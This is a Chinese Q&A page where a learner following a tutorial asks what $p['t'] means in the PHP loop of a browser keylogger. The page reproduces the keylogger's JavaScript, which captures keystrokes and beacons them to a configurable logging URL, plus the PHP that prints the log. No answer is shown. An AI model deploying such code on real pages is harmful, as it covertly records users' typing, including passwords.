首页 > 解决方案 > $p['t] 在这个键盘记录器代码中是什么意思?

问题描述

我希望你们一切都好。所以我正在尝试按照教程使用 Java Script 和 PHP 制作一个简单的键盘记录器,并且代码中有一个特定的行让我感到困惑。

在负责读取击键的代码中,有一个 $p['t'] 写在 for each 循环中。这是什么意思?

这是创建 presses 数组的代码:

var presses = [];
window.addEventListener("keydown", function (evt) {
  presses.push({
    t: Math.round(new Date().getTime() / 1000),
    k: evt.key,
  });
});

这是定期将其发送到 PHP 阅读器文件的代码。

window.setInterval(function () {
  if (presses.length > 5) {
    var data = encodeURIComponent(JSON.stringify(presses));
    // console.log(data);
    new Image().src = "http://localhost/test/keylog.php?k=" + data; // CHANGE THIS URL TO YOUR OWN!
    presses = [];
  }
}, 500);

foreach ($presses as $p) {
  printf("[%s] %s<br>", date("Y-m-d H:i:s", $p['t']), $p['k']);
}

标签: javascriptphparraysforeachkeylogger

解决方案


推荐阅读